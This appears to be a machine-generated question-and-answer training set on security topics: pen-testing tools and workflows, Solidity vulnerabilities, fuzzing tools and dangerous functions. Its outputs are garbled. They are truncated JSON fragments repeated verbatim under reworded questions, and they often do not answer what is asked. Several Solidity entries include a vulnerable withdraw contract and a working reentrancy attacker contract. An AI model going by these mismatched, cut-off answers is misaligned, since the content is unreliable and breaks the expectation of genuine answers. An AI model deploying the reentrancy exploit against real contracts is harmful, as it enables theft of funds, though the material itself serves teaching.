            "nmap",
            "masscan",
            "dnsenum",
            "fierce"
          ],
          "workflow": [
            "1. DNS enumeration with dnsenum/fierce",
            "2. Port scanning with Nmap for detailed info",
            "3. Use Masscan for large network ranges",
            "4. Service version detection with Nmap scripts"
          ]
        }
      },
      "2_scanning": {
        "description": "Identifying live systems, open ports, and services",
        "network_scanning": {
          "tools": [
            "nmap",
            "masscan",
            "unicornscan"
          ],
          "workflow": [
            "1. Ping sweep to identify live hosts",
            "2. Port scanning (TCP/UDP)",
            "3. Service enumeration",
            "4. OS fingerprinting"
          ]
        },
        "vulnerability_scanning": {
          "tools": [
            "openvas",
            "nessus",
            "nikto"
          ],
          "workflow": [
            "1. Configure vulnerability scanner",
            "2. Run authenticated scans when possible",
            "3. Prioritize findings by severity",
            "4. Validate scanner results manually"


Instruction: Answer question

Input: Tell me about tools

Output:
{
  "penetration_testing_methodologies.json": {
    "penetration_testing_phases": {
      "1_reconnaissance": {
        "description": "Information gathering about the target",
        "passive_recon": {
          "description": "Gathering information without direct interaction",
          "tools": [
            "theharvester",
            "shodan",
            "recon-ng",
            "maltego"
          ],
          "workflow": [
            "1. Start with OSINT using TheHarvester for emails/subdomains",
            "2. Use Shodan for exposed services",
            "3. Employ Recon-ng for comprehensive OSINT",
            "4. Map relationships with Maltego"
          ]
        },
        "active_recon": {
          "description": "Direct interaction with target systems",
          "tools": [
            "nmap",
            "masscan",
            "dnsenum",
            "fierce"
          ],
          "workflow": [
            "1. DNS enumeration with dnsenum/fierce",
            "2. Port scanning with Nmap for detailed info",
            "3. Use Masscan for large network ranges",
            "4. Service version detection with Nmap scripts"
          ]
        }
      },
      "2_scanning": {
        "description": "Identifying live systems, open ports, and services",
        "network_scanning": {
          "tools": [
            "nmap",
            "masscan",
            "unicornscan"
          ],
          "workflow": [
            "1. Ping sweep to identify live hosts",
            "2. Port scanning (TCP/UDP)",
            "3. Service enumeration",
            "4. OS fingerprinting"
          ]
        },
        "vulnerability_scanning": {
          "tools": [
            "openvas",
            "nessus",
            "nikto"
          ],
          "workflow": [
            "1. Configure vulnerability scanner",
            "2. Run authenticated scans when possible",
            "3. Prioritize findings by severity",
            "4. Validate scanner results manually"


Instruction: Answer question

Input: How does tools work?

Output:
{
  "penetration_testing_methodologies.json": {
    "penetration_testing_phases": {
      "1_reconnaissance": {
        "description": "Information gathering about the target",
        "passive_recon": {
          "description": "Gathering information without direct interaction",
          "tools": [
            "theharvester",
            "shodan",
            "recon-ng",
            "maltego"
          ],
          "workflow": [
            "1. Start with OSINT using TheHarvester for emails/subdomains",
            "2. Use Shodan for exposed services",
            "3. Employ Recon-ng for comprehensive OSINT",
            "4. Map relationships with Maltego"
          ]
        },
        "active_recon": {
          "description": "Direct interaction with target systems",
          "tools": [
            "nmap",
            "masscan",
            "dnsenum",
            "fierce"
          ],
          "workflow": [
            "1. DNS enumeration with dnsenum/fierce",
            "2. Port scanning with Nmap for detailed info",
            "3. Use Masscan for large network ranges",
            "4. Service version detection with Nmap scripts"
          ]
        }
      },
      "2_scanning": {
        "description": "Identifying live systems, open ports, and services",
        "network_scanning": {
          "tools": [
            "nmap",
            "masscan",
            "unicornscan"
          ],
          "workflow": [
            "1. Ping sweep to identify live hosts",
            "2. Port scanning (TCP/UDP)",
            "3. Service enumeration",
            "4. OS fingerprinting"
          ]
        },
        "vulnerability_scanning": {
          "tools": [
            "openvas",
            "nessus",
            "nikto"
          ],
          "workflow": [
            "1. Configure vulnerability scanner",
            "2. Run authenticated scans when possible",
            "3. Prioritize findings by severity",
            "4. Validate scanner results manually"


Instruction: Answer question

Input: Describe tools

Output:
{
  "penetration_testing_methodologies.json": {
    "penetration_testing_phases": {
      "1_reconnaissance": {
        "description": "Information gathering about the target",
        "passive_recon": {
          "description": "Gathering information without direct interaction",
          "tools": [
            "theharvester",
            "shodan",
            "recon-ng",
            "maltego"
          ],
          "workflow": [
            "1. Start with OSINT using TheHarvester for emails/subdomains",
            "2. Use Shodan for exposed services",
            "3. Employ Recon-ng for comprehensive OSINT",
            "4. Map relationships with Maltego"
          ]
        },
        "active_recon": {
          "description": "Direct interaction with target systems",
          "tools": [
            "nmap",
            "masscan",
            "dnsenum",
            "fierce"
          ],
          "workflow": [
            "1. DNS enumeration with dnsenum/fierce",
            "2. Port scanning with Nmap for detailed info",
            "3. Use Masscan for large network ranges",
            "4. Service version detection with Nmap scripts"
          ]
        }
      },
      "2_scanning": {
        "description": "Identifying live systems, open ports, and services",
        "network_scanning": {
          "tools": [
            "nmap",
            "masscan",
            "unicornscan"
          ],
          "workflow": [
            "1. Ping sweep to identify live hosts",
            "2. Port scanning (TCP/UDP)",
            "3. Service enumeration",
            "4. OS fingerprinting"
          ]
        },
        "vulnerability_scanning": {
          "tools": [
            "openvas",
            "nessus",
            "nikto"
          ],
          "workflow": [
            "1. Configure vulnerability scanner",
            "2. Run authenticated scans when possible",
            "3. Prioritize findings by severity",
            "4. Validate scanner results manually"


Instruction: Answer question

Input: What is vulnerabilities?

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Explain vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Tell me about vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: How does vulnerabilities work?

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Describe vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: What is fuzzing?

Output:
{
  "tools": [
    "AFL++",
    "libFuzzer",
    "honggfuzz",
    "boofuzz"
  ],
  "techniques": [
    "Coverage-guided",
    "Grammar-based",
    "Protocol fuzzing"
  ]
}


Instruction: Answer question

Input: Explain fuzzing

Output:
{
  "tools": [
    "AFL++",
    "libFuzzer",
    "honggfuzz",
    "boofuzz"
  ],
  "techniques": [
    "Coverage-guided",
    "Grammar-based",
    "Protocol fuzzing"
  ]
}


Instruction: Answer question

Input: Tell me about fuzzing

Output:
{
  "tools": [
    "AFL++",
    "libFuzzer",
    "honggfuzz",
    "boofuzz"
  ],
  "techniques": [
    "Coverage-guided",
    "Grammar-based",
    "Protocol fuzzing"
  ]
}


Instruction: Answer question

Input: How does fuzzing work?

Output:
{
  "tools": [
    "AFL++",
    "libFuzzer",
    "honggfuzz",
    "boofuzz"
  ],
  "techniques": [
    "Coverage-guided",
    "Grammar-based",
    "Protocol fuzzing"
  ]
}


Instruction: Answer question

Input: Describe fuzzing

Output:
{
  "tools": [
    "AFL++",
    "libFuzzer",
    "honggfuzz",
    "boofuzz"
  ],
  "techniques": [
    "Coverage-guided",
    "Grammar-based",
    "Protocol fuzzing"
  ]
}


Instruction: Answer question

Input: What is code review?

Output:
{
  "dangerous_functions": {
    "c": [
      "strcpy",
      "gets",
      "sprintf",
      "system"
    ],
    "python": [
      "eval",
      "exec",
      "pickle.loads"
    ],
    "php": [
      "eval",
      "system",
      "exec",
      "unserialize"
    ]
  }
}


Instruction: Answer question

Input: Explain code review

Output:
{
  "dangerous_functions": {
    "c": [
      "strcpy",
      "gets",
      "sprintf",
      "system"
    ],
    "python": [
      "eval",
      "exec",
      "pickle.loads"
    ],
    "php": [
      "eval",
      "system",
      "exec",
      "unserialize"
    ]
  }
}


Instruction: Answer question

Input: Tell me about code review

Output:
{
  "dangerous_functions": {
    "c": [
      "strcpy",
      "gets",
      "sprintf",
      "system"
    ],
    "python": [
      "eval",
      "exec",
      "pickle.loads"
    ],
    "php": [
      "eval",
      "system",
      "exec",
      "unserialize"
    ]
  }
}